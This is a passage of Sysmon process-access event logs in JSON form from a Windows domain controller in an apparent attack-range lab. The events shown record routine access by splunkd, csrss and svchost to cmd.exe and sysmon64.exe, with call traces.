AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2095,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010245A0300}\r\nTargetProcessId: 3652\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010245A0300}","TargetProcessId":"3652","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2096,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010245A0300}\r\nTargetProcessId: 3652\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010245A0300}","TargetProcessId":"3652","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2097,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2098,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2099,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2100,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2101,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2102,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 